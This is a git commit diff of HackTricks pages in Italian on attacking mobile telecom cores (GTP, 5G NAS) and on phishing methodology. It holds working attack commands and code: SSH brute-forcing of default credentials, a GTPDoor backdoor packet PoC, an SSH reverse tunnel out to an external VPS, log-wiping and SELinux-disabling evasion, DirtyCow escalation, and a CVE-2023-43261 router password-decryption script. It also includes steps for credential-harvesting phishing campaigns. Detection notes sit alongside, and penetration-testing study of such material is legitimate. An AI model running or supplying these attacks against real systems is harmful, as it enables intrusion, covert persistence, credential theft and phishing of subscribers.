mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw
This commit is contained in:
		
							parent
							
								
									bbd3577d81
								
							
						
					
					
						commit
						ba1d3c06a1
					
				| @ -1,27 +1,27 @@ | ||||
| # Sfruttamento delle Reti Telecom (GTP / Ambienti Roaming) | ||||
| # Sfruttamento delle reti telecom (GTP / ambienti di roaming) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| > [!NOTE] | ||||
| > I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming semi-trustati GRX/IPX. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può di solito raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC. | ||||
| > I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di segnalazione core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC. | ||||
| 
 | ||||
| ## 1. Recon & Initial Access | ||||
| ## 1. Ricognizione e Accesso Iniziale | ||||
| 
 | ||||
| ### 1.1  Account OSS / NE Predefiniti | ||||
| Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force: | ||||
| ### 1.1  Account OSS / NE di default | ||||
| Un numero sorprendentemente elevato di vendor elementi di rete viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Una wordlist dedicata aumenta drasticamente il successo del brute-force: | ||||
| ```bash | ||||
| hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt | ||||
| ``` | ||||
| Se il dispositivo espone solo una management VRF, esegui prima un pivot attraverso un jump host (vedi la sezione «SGSN Emu Tunnel» più sotto). | ||||
| Se il dispositivo espone solo una management VRF, esegui prima un pivot tramite un jump host (vedi la sezione «SGSN Emu Tunnel» qui sotto). | ||||
| 
 | ||||
| ### 1.2  Scoperta degli host all'interno di GRX/IPX | ||||
| La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le probe UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C: | ||||
| La maggior parte degli operatori GRX permette ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C: | ||||
| ```bash | ||||
| masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 | ||||
| ``` | ||||
| ## 2. Enumerating Subscribers – `cordscan` | ||||
| ## 2. Enumerazione degli abbonati – `cordscan` | ||||
| 
 | ||||
| Il seguente Go tool crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, talvolta, il PLMN visitato dall'abbonato. | ||||
| Lo strumento Go seguente crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogato e, talvolta, il PLMN visitato dell'abbonato. | ||||
| ```bash | ||||
| # Build | ||||
| GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| @ -32,7 +32,7 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan | ||||
| Flag principali: | ||||
| - `--imsi` IMSI dell'abbonato target | ||||
| - `--oper` Home / HNI (MCC+MNC) | ||||
| - `-w`      Scrive pacchetti raw in un file pcap | ||||
| - `-w`      Scrive pacchetti raw in pcap | ||||
| 
 | ||||
| Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni: | ||||
| ``` | ||||
| @ -42,9 +42,9 @@ common_tcp_ports  = "22,23,80,443,8080" | ||||
| ``` | ||||
| ## 3. Esecuzione di codice su GTP – `GTPDoor` | ||||
| 
 | ||||
| `GTPDoor` è un piccolo servizio ELF che **si mette in ascolto sulla porta UDP 2123 e analizza ogni pacchetto GTP-C in ingresso**. Quando il payload inizia con un tag pre-condiviso, il resto viene decifrato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione verso l'esterno. | ||||
| `GTPDoor` è un piccolo servizio ELF che **si lega alla porta UDP 2123 e analizza ogni pacchetto GTP-C in arrivo**. Quando il payload inizia con un tag pre-condiviso, il resto viene decrittato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno dei messaggi **Echo Response** in modo che non venga mai creata una sessione in uscita. | ||||
| 
 | ||||
| Pacchetto PoC minimo (Python): | ||||
| Minimal PoC packet (Python): | ||||
| ```python | ||||
| import gtpc, Crypto.Cipher.AES as AES | ||||
| key = b"SixteenByteKey!" | ||||
| @ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) | ||||
| print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) | ||||
| ``` | ||||
| Rilevamento: | ||||
| * qualsiasi host che invia **unbalanced Echo Requests** agli SGSN IPs | ||||
| * GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalle specifiche | ||||
| * qualsiasi host che invia **unbalanced Echo Requests** agli IP di SGSN | ||||
| * GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica | ||||
| 
 | ||||
| ## 4. Pivoting attraverso il Core | ||||
| 
 | ||||
| ### 4.1  `sgsnemu` + SOCKS5 | ||||
| `OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un GGSN/PGW reale**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer. | ||||
| `OsmoGGSN` include un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal peer di roaming. | ||||
| ```bash | ||||
| sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ | ||||
| -APN internet -c 1 -d | ||||
| ip route add 172.16.0.0/12 dev tun0 | ||||
| microsocks -p 1080 &   # internal SOCKS proxy | ||||
| ``` | ||||
| Con un corretto hair-pinning del firewall, questo tunnel bypassa le VLAN riservate alla segnalazione e ti porta direttamente nel **data plane**. | ||||
| Con un corretto firewall hair-pinning, questo tunnel bypassa le signalling-only VLANs e ti porta direttamente nel **data plane**. | ||||
| 
 | ||||
| ### 4.2  SSH Reverse Tunnel over Port 53 | ||||
| DNS è quasi sempre aperto nelle infrastrutture di roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto su :53 e ricollegati più tardi da casa: | ||||
| Il DNS è quasi sempre aperto nelle infrastrutture in roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e rientrare più tardi da casa: | ||||
| ```bash | ||||
| ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com | ||||
| ``` | ||||
| Verifica che `GatewayPorts yes` sia abilitato sul VPS. | ||||
| Verificare che `GatewayPorts yes` sia abilitato sul VPS. | ||||
| 
 | ||||
| ## 5. Covert Channels | ||||
| ## 5. Canali Coverti | ||||
| 
 | ||||
| | Canale | Trasporto | Decodifica | Note | | ||||
| |---------|-----------|----------|-------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chiave a 4 byte + blocchi da 14 byte (XOR) | listener puramente passivo, nessun traffico in uscita | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti dell'A-record | monitora il sottodominio `*.nodep` | | ||||
| | GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE private | si miscela con il chatter GTP-C legittimo | | ||||
| |--------|-----------|-----------|------| | ||||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener puramente passivo, nessun traffico in uscita | | ||||
| | DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sottodominio `*.nodep` | | ||||
| | GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo | | ||||
| 
 | ||||
| All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. | ||||
| Tutti gli implants implementano watchdogs che **timestomp** i loro binari e si riavviano se vengono terminati. | ||||
| 
 | ||||
| ## 6. Defense Evasion Cheatsheet | ||||
| ## 6. Cheatsheet per l'Evasione delle Difese | ||||
| ```bash | ||||
| # Remove attacker IPs from wtmp | ||||
| utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp | ||||
| @ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm    # appears as [kworker/1] | ||||
| touch -r /usr/bin/time /usr/bin/chargen   # timestomp | ||||
| setenforce 0                              # disable SELinux | ||||
| ``` | ||||
| ## 7. Escalation dei privilegi su NE legacy | ||||
| ## 7. Privilege Escalation su Legacy NE | ||||
| ```bash | ||||
| # DirtyCow – CVE-2016-5195 | ||||
| gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd | ||||
| @ -116,76 +116,76 @@ Suggerimento per la pulizia: | ||||
| userdel firefart 2>/dev/null | ||||
| rm -f /tmp/sh ; history -c | ||||
| ``` | ||||
| ## 8. Strumenti | ||||
| ## 8. Tool Box | ||||
| 
 | ||||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. | ||||
| * `FScan` : scansione TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) | ||||
| * `Responder` : LLMNR/NBT-NS rogue WPAD | ||||
| * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting | ||||
| * `FRP` (≥0.37) : NAT traversal / asset bridging | ||||
| 
 | ||||
| ## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay | ||||
| 
 | ||||
| La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molte vie di attacco quando puoi osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed). | ||||
| La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la sicurezza NAS non è attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security permette diversi vettori d'attacco quando puoi osservare o manomettere il traffico N2 (es., on-path all'interno del core, rogue gNB, o testbed). | ||||
| 
 | ||||
| Registration flow (semplificato): | ||||
| - Registration Request: UE invia SUCI (SUPI cifrato) e capability. | ||||
| - Authentication: AMF/AUSF inviano RAND/AUTN; UE ritorna RES*. | ||||
| - Security Mode Command/Complete: negozia e attiva integrità e cifratura NAS. | ||||
| - PDU Session Establishment: setup IP/QoS. | ||||
| Registration flow (simplified): | ||||
| - Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. | ||||
| - Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. | ||||
| - Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. | ||||
| - PDU Session Establishment: IP/QoS setup. | ||||
| 
 | ||||
| Suggerimenti per laboratorio (non-RF): | ||||
| - Core: una deployment default di Open5GS è sufficiente per riprodurre i flussi. | ||||
| - UE: simulator o test UE; decodifica con Wireshark. | ||||
| Lab setup tips (non-RF): | ||||
| - Core: Open5GS default deployment is sufficient to reproduce flows. | ||||
| - UE: simulator or test UE; decode using Wireshark. | ||||
| - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). | ||||
| - Filtri utili in Wireshark: | ||||
| - Useful display filters in Wireshark: | ||||
| - ngap.procedure_code == 15 (InitialUEMessage) | ||||
| - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) | ||||
| 
 | ||||
| ### 9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI | ||||
| Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato. | ||||
| ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI | ||||
| Aspettativa: UE/USIM devono trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato. | ||||
| 
 | ||||
| Come testare: | ||||
| - Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE. | ||||
| - Controlli rapidi con Wireshark: | ||||
| - Dovrebbe decodificare come SUCI, non come IMSI. | ||||
| - Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe essere presente; l'assenza di questo insieme alla presenza di `imsi` indica esposizione. | ||||
| - Controlli rapidi in Wireshark: | ||||
| - Dovrebbe decodificare come SUCI, non IMSI. | ||||
| - Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica leakage. | ||||
| 
 | ||||
| Cosa raccogliere: | ||||
| - MCC/MNC/MSIN se esposti; registra per-UE e traccia nel tempo/luoghi. | ||||
| - MCC/MNC/MSIN se esposti; loggare per-UE e tracciare nel tempo/luoghi. | ||||
| 
 | ||||
| Mitigazione: | ||||
| - Forzare UEs/USIMs a usare solo SUCI; allertare su qualsiasi IMSI/SUPI presente nel NAS iniziale. | ||||
| - Forzare UEs/USIMs a usare solo SUCI; alert su qualsiasi IMSI/SUPI nella initial NAS. | ||||
| 
 | ||||
| ### 9.2 Declassamento delle capability verso algoritmi nulli (EEA0/EIA0) | ||||
| Contesto: | ||||
| - L'UE pubblicizza le EEA (encryption) e EIA (integrity) supportate nell'UE Security Capability IE della Registration Request. | ||||
| - Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli. | ||||
| ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) | ||||
| Background: | ||||
| - L'UE annuncia le EEA (encryption) e EIA (integrity) supportate nel UE Security Capability IE della Registration Request. | ||||
| - Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi null. | ||||
| 
 | ||||
| Problema: | ||||
| - Poiché la Registration Request non è protetta in integrità, un attacker on-path può azzerare i bit delle capability per forzare la selezione di EEA0/EIA0 più tardi durante il Security Mode Command. Alcuni stack permettono erroneamente algoritmi nulli anche fuori dai servizi di emergenza. | ||||
| - Poiché la Registration Request non è protetta in integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 più tardi durante Security Mode Command. Alcuni stack permettono erroneamente algoritmi null anche al di fuori dei servizi di emergenza. | ||||
| 
 | ||||
| Passi offensivi: | ||||
| - Intercetta InitialUEMessage e modifica il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0. | ||||
| - Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo. | ||||
| - Osserva se l'AMF accetta cipher/integrità null e completa il Security Mode con EEA0/EIA0. | ||||
| - Osserva se l'AMF accetta null ciphers/integrity e completa Security Mode con EEA0/EIA0. | ||||
| 
 | ||||
| Verifica/visibilità: | ||||
| - In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete. | ||||
| - Esempio di output di un sniffer passivo: | ||||
| - Example passive sniffer output: | ||||
| ``` | ||||
| Encyrption in use [EEA0] | ||||
| Integrity in use [EIA0, EIA1, EIA2] | ||||
| SUPI (MCC+MNC+MSIN) 9997000000001 | ||||
| ``` | ||||
| Mitigazioni (obbligatorie): | ||||
| - Configura AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza). | ||||
| - Preferire l'imposizione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi NAS security context che negozia algoritmi null. | ||||
| - Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente richiesto (es. chiamate di emergenza). | ||||
| - Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi contesto di sicurezza NAS che negozia null algorithms. | ||||
| 
 | ||||
| ### 9.3 Replay of initial Registration Request (pre-security NAS) | ||||
| Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere replayed verso AMF. | ||||
| ### 9.3 Replay della initial Registration Request (NAS pre-security) | ||||
| Poiché il NAS iniziale manca di integrità e freshness, InitialUEMessage+Registration Request catturati possono essere replayed all'AMF. | ||||
| 
 | ||||
| PoC rule for 5GReplay to forward matching replays: | ||||
| Regola PoC per 5GReplay per inoltrare i replay corrispondenti: | ||||
| ```xml | ||||
| <beginning> | ||||
| <property value="THEN" | ||||
| @ -209,30 +209,89 @@ boolean_expression="nas_5g.message_type == 65"/> | ||||
| </beginning> | ||||
| ``` | ||||
| Cosa osservare: | ||||
| - Se AMF accetta il replay e procede con Authentication; la mancanza di validazione di freshness o del binding del contesto indica esposizione. | ||||
| - Whether AMF accepts the replay and proceeds to Authentication; la mancanza di validazione di freschezza/contesto indica esposizione. | ||||
| 
 | ||||
| Mitigazioni: | ||||
| - Imporre replay protection / binding del contesto sull'AMF; rate-limitare e correlare per-GNB/UE. | ||||
| - Enforce replay protection/context binding sull'AMF; impostare rate-limit e correlare per-GNB/UE. | ||||
| 
 | ||||
| ### 9.4 Tooling pointers (reproducible) | ||||
| - Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS. | ||||
| - Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration. | ||||
| - 5GReplay: catturare una registration, poi riprodurre specifici messaggi NGAP + NAS secondo la regola. | ||||
| - Sni5Gect: sniff/modify/inject in tempo reale il control-plane NAS per forzare algoritmi null o perturbare le sequenze di Authentication. | ||||
| - Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registrazione. | ||||
| - 5GReplay: catturare una registrazione, poi replay di specifici messaggi NGAP + NAS come da regola. | ||||
| - Sni5Gect: sniff/modify/inject in tempo reale del control-plane NAS per costringere null algorithms o perturbare le sequenze di autenticazione. | ||||
| 
 | ||||
| ### 9.5 Defensive checklist | ||||
| - Ispezionare continuamente le Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIM non conformi. | ||||
| - Ispezionare continuamente il Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIMs responsabili. | ||||
| - Rifiutare EEA0/EIA0 eccetto per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2. | ||||
| - Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, peer N2 inattesi. | ||||
| - Generare alert su NAS security modes che risultano in algoritmi null o frequenti replay di InitialUEMessage. | ||||
| - Generare alert sulle modalità di sicurezza NAS che portano a null algorithms o a frequenti replay di InitialUEMessage. | ||||
| 
 | ||||
| --- | ||||
| ## Idee per la rilevazione | ||||
| 
 | ||||
| ## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) | ||||
| 
 | ||||
| L'abuso delle web API esposte dei router cellulari industriali consente smishing stealthy, apparentemente di origine carrier, su larga scala. I router Milesight della serie UR espongono un endpoint in stile JSON-RPC in `/cgi`. Se mal configurata, l'API può essere interrogata senza autenticazione per elencare inbox/outbox SMS e, in alcune implementazioni, per inviare SMS. | ||||
| 
 | ||||
| Richieste tipiche non autenticate (stessa struttura per inbox/outbox): | ||||
| ```http | ||||
| POST /cgi HTTP/1.1 | ||||
| Host: <router> | ||||
| Content-Type: application/json | ||||
| 
 | ||||
| { "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| 
 | ||||
| ```json | ||||
| { "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } | ||||
| ``` | ||||
| Le risposte includono campi come `timestamp`, `content`, `phone_number` (E.164) e `status` (`success` o `failed`). Invii ripetuti con `failed` allo stesso numero sono spesso controlli di capacità dell'attaccante (“capability checks”) per verificare che un router/SIM possa consegnare prima di invii massivi. | ||||
| 
 | ||||
| Esempio di curl per exfiltrate SMS metadata: | ||||
| ```bash | ||||
| curl -sk -X POST http://<router>/cgi \ | ||||
| -H 'Content-Type: application/json' \ | ||||
| -d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' | ||||
| ``` | ||||
| Note sugli artefatti di auth: | ||||
| - Parte del traffico può includere un auth cookie, ma una larga parte dei dispositivi esposti risponde senza alcuna autenticazione a `query_inbox`/`query_outbox` quando l'interfaccia di gestione è esposta su Internet. | ||||
| - In ambienti che richiedono auth, previously-leaked credentials (see below) ripristinano l'accesso. | ||||
| 
 | ||||
| Credential recovery path – CVE-2023-43261: | ||||
| - Famiglie interessate: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). | ||||
| - Problema: i log serviti via web (es., `httpd.log`) sono raggiungibili senza autenticazione sotto `/lang/log/` e contengono eventi di login admin con la password cifrata usando una chiave/IV AES hardcoded presente nel JavaScript client-side. | ||||
| - Accesso pratico e decifratura: | ||||
| ```bash | ||||
| curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p' | ||||
| # Look for entries like: {"username":"admin","password":"<base64>"} | ||||
| ``` | ||||
| Script Python minimale per decifrare leaked passwords (AES-128-CBC, hardcoded key/IV): | ||||
| ```python | ||||
| import base64 | ||||
| from Crypto.Cipher import AES | ||||
| from Crypto.Util.Padding import unpad | ||||
| KEY=b'1111111111111111'; IV=b'2222222222222222' | ||||
| enc_b64='...'  # value from httpd.log | ||||
| print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) | ||||
| ``` | ||||
| Hunting e idee per il rilevamento (network): | ||||
| - Allertare su richieste non autenticate `POST /cgi` il cui corpo JSON contiene `base`/`function` impostati su `query_inbox` o `query_outbox`. | ||||
| - Monitorare ripetute serie di `POST /cgi` seguite da voci `status":"failed"` su molti numeri unici provenienti dallo stesso IP sorgente (capability testing). | ||||
| - Inventariare i router Milesight esposti su Internet; limitare la gestione via VPN; disabilitare le funzionalità SMS salvo necessità; aggiornare a ≥ v35.3.0.7; ruotare le credenziali e controllare i log SMS per invii sconosciuti. | ||||
| 
 | ||||
| Shodan/OSINT pivots (esempi osservati sul campo): | ||||
| - `http.html:"rt_title"` corrisponde ai pannelli dei router Milesight. | ||||
| - Google dorking per log esposti: `"/lang/log/system" ext:log`. | ||||
| 
 | ||||
| Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale. | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## Idee per il rilevamento | ||||
| 1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests**. | ||||
| 2. **Porte non standard (53, 80, 443) che ricevono SSH handshakes** da IP interni. | ||||
| 3. **Frequent Echo Requests senza corrispondenti Echo Responses** – potrebbero indicare beacon GTPDoor. | ||||
| 4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non-zero**. | ||||
| 5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dallo stesso endpoint** (segnale di replay). | ||||
| 3. **Echo Requests frequenti senza corrispondenti Echo Responses** – potrebbero indicare beacon GTPDoor. | ||||
| 4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non nulli**. | ||||
| 5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dagli stessi endpoint** (segnale di replay). | ||||
| 6. 5G: **NAS Security Mode che negozia EEA0/EIA0** al di fuori di contesti di emergenza. | ||||
| 
 | ||||
| ## References | ||||
| @ -243,5 +302,8 @@ Mitigazioni: | ||||
| - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) | ||||
| - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS | ||||
| - 3GPP TS 33.501 – Security architecture and procedures for 5G System | ||||
| - [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) | ||||
| - [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) | ||||
| - [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -1,19 +1,19 @@ | ||||
| # Phishing Methodology | ||||
| # Metodologia del Phishing | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Metodologia | ||||
| 
 | ||||
| 1. Recon the victim | ||||
| 1. Ricognizione della vittima | ||||
| 1. Seleziona il **dominio della vittima**. | ||||
| 2. Esegui una enumerazione web di base **cercando portali di login** usati dalla vittima e **decidi** quale impersonare. | ||||
| 3. Usa OSINT per **trovare indirizzi email**. | ||||
| 2. Esegui una enumerazione web di base **cercando portali di login** usati dalla vittima e **decidi** quale andrai a **impersonare**. | ||||
| 3. Usa **OSINT** per **trovare indirizzi email**. | ||||
| 2. Prepara l'ambiente | ||||
| 1. **Compra il dominio** che userai per la valutazione di phishing | ||||
| 2. **Configura i record** correlati al servizio email (SPF, DMARC, DKIM, rDNS) | ||||
| 1. **Compra il dominio** che utilizzerai per l'attività di phishing | ||||
| 2. **Configura il servizio email** e i record correlati (SPF, DMARC, DKIM, rDNS) | ||||
| 3. Configura il VPS con **gophish** | ||||
| 3. Prepara la campagna | ||||
| 1. Prepara il **template dell'email** | ||||
| 1. Prepara il **modello email** | ||||
| 2. Prepara la **pagina web** per rubare le credenziali | ||||
| 4. Lancia la campagna! | ||||
| 
 | ||||
| @ -21,23 +21,23 @@ | ||||
| 
 | ||||
| ### Domain Name Variation Techniques | ||||
| 
 | ||||
| - **Keyword**: Il nome di dominio **contiene** una parola chiave importante del dominio originale (es., zelster.com-management.com). | ||||
| - **hypened subdomain**: Sostituisci il **punto con un trattino** in un sottodominio (es., www-zelster.com). | ||||
| - **New TLD**: Stesso dominio usando una **nuova TLD** (es., zelster.org) | ||||
| - **Homoglyph**: Sostituisce una lettera nel nome di dominio con **caratteri dall'aspetto simile** (es., zelfser.com). | ||||
| - **Keyword**: Il nome di dominio **contiene** un'importante **keyword** del dominio originale (e.g., zelster.com-management.com). | ||||
| - **hypened subdomain**: Sostituisci il **punto con un trattino** di un sottodominio (e.g., www-zelster.com). | ||||
| - **New TLD**: Stesso dominio usando una **new TLD** (e.g., zelster.org) | ||||
| - **Homoglyph**: Sostituisce una lettera nel nome di dominio con **lettere che sembrano simili** (e.g., zelfser.com). | ||||
| 
 | ||||
| 
 | ||||
| {{#ref}} | ||||
| homograph-attacks.md | ||||
| {{#endref}} | ||||
| - **Transposition:** Scambia due lettere all'interno del nome di dominio (es., zelsetr.com). | ||||
| - **Singularization/Pluralization**: Aggiunge o rimuove una “s” alla fine del nome di dominio (es., zeltsers.com). | ||||
| - **Omission**: Rimuove una delle lettere dal nome di dominio (es., zelser.com). | ||||
| - **Repetition:** Ripete una delle lettere nel nome di dominio (es., zeltsser.com). | ||||
| - **Replacement**: Simile all'homoglyph ma meno stealthy. Sostituisce una delle lettere nel nome di dominio, magari con una lettera vicina sulla tastiera (es., zektser.com). | ||||
| - **Subdomained**: Introduce un **punto** all'interno del nome di dominio (es., ze.lster.com). | ||||
| - **Insertion**: Inserisce una lettera nel nome di dominio (es., zerltser.com). | ||||
| - **Missing dot**: Aggiunge la TLD direttamente al nome di dominio. (es., zelstercom.com) | ||||
| - **Transposition:** Scambia due lettere all'interno del nome di dominio (e.g., zelsetr.com). | ||||
| - **Singularization/Pluralization**: Aggiunge o rimuove la “s” alla fine del nome di dominio (e.g., zeltsers.com). | ||||
| - **Omission**: Rimuove una delle lettere dal nome di dominio (e.g., zelser.com). | ||||
| - **Repetition:** Ripete una delle lettere nel nome di dominio (e.g., zeltsser.com). | ||||
| - **Replacement**: Simile a homoglyph ma meno stealthy. Sostituisce una delle lettere nel nome di dominio, magari con una lettera vicina sulla tastiera (e.g, zektser.com). | ||||
| - **Subdomained**: Introduce un **punto** all'interno del nome di dominio (e.g., ze.lster.com). | ||||
| - **Insertion**: Inserisce una lettera nel nome di dominio (e.g., zerltser.com). | ||||
| - **Missing dot**: Appende la TLD al nome di dominio. (e.g., zelstercom.com) | ||||
| 
